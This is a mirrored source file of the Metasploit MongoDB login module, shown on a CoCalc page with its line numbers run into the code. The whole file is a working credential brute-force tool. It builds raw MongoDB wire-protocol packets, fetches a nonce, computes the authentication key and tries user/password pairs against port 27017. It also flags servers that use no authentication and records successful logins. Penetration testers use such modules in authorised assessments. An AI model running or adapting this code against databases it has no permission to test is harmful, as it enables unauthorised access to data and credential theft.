CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/scanner/mongodb/mongodb_login.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::AuthBrute8include Msf::Auxiliary::Scanner9include Msf::Exploit::Remote::Tcp1011def initialize(info={})12super(update_info(info,13'Name' => 'MongoDB Login Utility',14'Description' => %q{15This module attempts to brute force authentication credentials for MongoDB.16Note that, by default, MongoDB does not require authentication.17},18'References' =>19[20[ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ],21[ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ]22],23'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],24'License' => MSF_LICENSE25))2627register_options(28[29Opt::RPORT(27017),30OptString.new('DB', [ true, "Database to use", "admin"])31])32end3334def run_host(ip)35print_status("Scanning IP: #{ip.to_s}")36begin37connect38if require_auth?39each_user_pass { |user, pass|40do_login(user, pass)41}42else43report_vuln(44:host => rhost,45:port => rport,46:name => "MongoDB No Authentication",47:refs => self.references,48:exploited_at => Time.now.utc,49:info => "Mongo server has no authentication."50)51print_good("Mongo server #{ip.to_s} doesn't use authentication")52end53disconnect54rescue ::Exception => e55print_error "Unable to connect: #{e.to_s}"56return57end58end5960def require_auth?61request_id = Rex::Text.rand_text(4)62packet = "\x3f\x00\x00\x00" # messageLength (63)63packet << request_id # requestID64packet << "\xff\xff\xff\xff" # responseTo65packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)66packet << "\x00\x00\x00\x00" # flags67packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)68packet << "\x00\x00\x00\x00" # numberToSkip (0)69packet << "\x01\x00\x00\x00" # numberToReturn (1)70# query ({"listDatabases"=>1})71packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"7273sock.put(packet)74response = sock.recv(1024)7576have_auth_error?(response)77end7879def do_login(user, password)80vprint_status("Trying user: #{user}, password: #{password}")81nonce = get_nonce82status = auth(user, password, nonce)83return status84end8586def auth(user, password, nonce)87request_id = Rex::Text.rand_text(4)88packet = request_id # requestID89packet << "\xff\xff\xff\xff" # responseTo90packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)91packet << "\x00\x00\x00\x00" # flags92packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)93packet << "\x00\x00\x00\x00" # numberToSkip (0)94packet << "\xff\xff\xff\xff" # numberToReturn (1)9596#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}97document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"98document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"99document << [user.length + 1].pack("L") # +1 due null byte termination100document << user + "\x00"101document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"102document << nonce + "\x00"103document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"104document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00"105document << "\x00"106# Calculate document length107document.insert(0, [document.length + 4].pack("L"))108109packet += document110111# Calculate messageLength112packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength113sock.put(packet)114response = sock.recv(1024)115unless have_auth_error?(response)116print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'")117report_cred(118ip: rhost,119port: rport,120service_name: 'mongodb',121user: user,122password: password,123proof: response.inspect124)125return :next_user126end127128return129end130131def report_cred(opts)132service_data = {133address: opts[:ip],134port: opts[:port],135service_name: opts[:service_name],136protocol: 'tcp',137workspace_id: myworkspace_id138}139140credential_data = {141origin_type: :service,142module_fullname: fullname,143username: opts[:user],144private_data: opts[:password],145private_type: :password146}.merge(service_data)147148login_data = {149last_attempted_at: Time.now,150core: create_credential(credential_data),151status: Metasploit::Model::Login::Status::SUCCESSFUL,152proof: opts[:proof]153}.merge(service_data)154155create_credential_login(login_data)156end157158def get_nonce159request_id = Rex::Text.rand_text(4)160packet = "\x3d\x00\x00\x00" # messageLength (61)161packet << request_id # requestID162packet << "\xff\xff\xff\xff" # responseTo163packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)164packet << "\x00\x00\x00\x00" # flags165packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd)166packet << "\x00\x00\x00\x00" #numberToSkip (0)167packet << "\x01\x00\x00\x00" #numberToReturn (1)168# query {"getnonce"=>1.0}169packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"170171sock.put(packet)172response = sock.recv(1024)173documents = response[36..1024]174#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}175nonce = documents[15..30]176end177178def have_auth_error?(response)179# Response header 36 bytes long180documents = response[36..1024]181#{"errmsg"=>"auth fails", "ok"=>0.0}182#{"errmsg"=>"need to login", "ok"=>0.0}183if documents.include?('errmsg')184return true185else186return false187end188end189end190191192